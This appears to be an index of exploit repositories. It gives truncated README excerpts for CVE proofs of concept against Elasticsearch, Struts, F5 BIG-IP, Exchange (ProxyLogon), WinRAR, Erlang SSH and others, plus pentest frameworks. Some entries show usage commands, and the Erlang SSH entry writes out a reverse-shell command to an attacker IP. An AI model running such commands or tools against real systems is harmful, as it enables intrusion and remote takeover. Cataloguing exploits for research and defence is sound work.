CVE-2022-44789

CVE-2022-44789 Files: PublicReferenceURL.txt: public reference for CVE writeup.md: Writeup + exploit attachment: Vulnerable MuJS version + sample exploit...

ElasticSearch-CVE-2014-3120

ElasticSearch search Remote Code Execution CVE-2014-3120 POC Code to exploit CVE-2014-3120 Requirements: python Usage: python elasticcheck.py Example: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 Vulnerable 1 10.0.0.11:9201 Not Vulnerable 2 10.0.0.12:9201 Connection error Vulnerable...

evil-winrar

eval-winrar evil-winrar,cve-2023-38831 vulnerability exploitation and social engineering attack framework evil-winrar, csv-2023-38831 Vulnerability Exploitation and Social Engineering Attack Framework Introduction evil-winrar is a winrar csv-2023-38831 vulnerability exploitation and social...

dubiousdisk

dubious disk - the porygon-z that's super effective against secure boot! CVE-2022-30203, CVE-2023-21560, CVE-2023-28269, CVE-2023-28249, and more... Overly permissive code in the Windows boot environment allows for overwriting arbitrary memory, and therefore, arbitrary code execution. Exploitro...

EaST

«EAST» – «Exploits And Security Tools» penetration testing framework. 1. Overview Pentest framework environment is the basis of IT security specialist’s toolkit. This software is essential as for learning and improving of knowledge in IT systems attacks and for inspections and proactive...

struts-pwn_CVE-2018-11776

struts-pwn - CVE-2018-11776 Exploit An exploit for Apache Struts CVE-2018-11776 Usage Check if the vulnerability exists against a single URL. python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action' Check if the vulnerability exists against a list of URLs. python...

cve-2023-42115

CVE-2023-42115: Exploit and Payload Generator Scripts This repository contains two Python scripts: 1. exploit.py : A script for exploiting CVE-2023-42115. 2. generatepayload.py : A script for generating reverse shell payloads. Prerequisites Before running the scripts, ensure you have Python 3...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP iControl REST vulnerability RCE exploit with Java. Features Scan a single target Scan multiple targets Exploit with a shell Setup Lab You can find the lab Here Run You can run the code directly by user javac main.java followed by user java main help If you don't have JVM,...

ProxyLogon

ProxyLogon Original PoC: https://github.com/testanull How to use: python proxylogon.py Example: python proxylogon.py primary [email protected] If successful you will be dropped into a webshell. exit or quit to escape from the webshell or ctrl+c By default, it will create a file test.aspx. Th...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2025-5548

💣 Exploit Development - Buffer Overflow This repository documents the full process of exploiting a Buffer Overflow vulnerability, following a structured methodology from initial analysis to execution flow control. 🎯 Objective The goal of this phase is to develop a functional exploit that allows...

exploitation-course

OFFENSIVE SECURITY & REVERSE ENGINEERING OSRE Course This repository is for the Offensive Security and Reverse Engineering Offensive Software Exploitation Course I used to teaching at Champlain College and currently sharing it for free online check the YouTube channel for the recordings. Most of...

SharpPolarBear

SharpPolarBear This is a weaponized version for one of the Exploits published by SandboxEscaper from here https://github.com/SandboxEscaper/polarbearrepo. Most of the code comes from rasta-mouse CollectorService repository https://github.com/rasta-mouse/CollectorService. I just changed the...

CVE-2020-3452

CVE-2020-3452 TL;DR This is an exploit for CVE-2020-3452. It's not entirely finished yet. Use it in legal context. If you fuck up it's your problem. W00t is dis? This is a quick'n dirty try to enhance the original PoC of CVE-2020-3452. At the current stage there is nothing more than a simple py...

CVE-2018-13379-Fortinet

CVE-2018-13379-Fortinet FortiVuln...

shocker

Shocker A tool to find and exploit servers vulnerable to Shellshock Ref: https://en.wikipedia.org/wiki/Shellshocksoftwarebug Released as open source by NCC Group Plc - https://www.nccgroup.trust/ Developed By: Tom Watson, tom dot watson at nccgroup dot trust https://github.com/nccgroup/shocker...

Follina-CVE-2022-30190-Sample

Follina-CVE-2022-30190-Sample Educational exploit for CVE-2022-30190...

parquet-canary-exploit-rce-poc-CVE-2025-30065

Canary Exploit for Parquet CVE-2025-30065 -. '-. OO OO .-----,--/ ,. ,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------. ' .--.\ \ //| .---' .-'/ ,-. / .. / ,-. | | .-' / -. / .. \ / .. \ / .' | | | |'-.\ \ / / | | OO'-' | . / \ '-' | | '--. OO'-' ' . / \ . / \ . / -. |...

cve-2025-6907

CVE‑2025‑6907 SQLi Exploit Tool File: exploit.c Author: Byte Reaper Target Service: CODEPROJECT Type: SQL Injection 🔎 Overview This is a standalone C-based SQL Injection exploit targeting the CVE‑2025‑6907 vulnerability in the CODEPROJECT service. It combines multiple advanced techniques: Automat...

lempo

Lempo: LDAP Exposure on POrtainer CVE-2018-19466 | Mauro Eldritch AKA plaguedoktor ./lempo.rb TARGETIP TARGETUSER TARGETPASSWORD This exploit is a complement to my talk Hacking Docker with PAZUZU. Presentations | Date| Conference| Link to Video| Link to Slides ---|---|---|---|--- 1| NOV-2018|...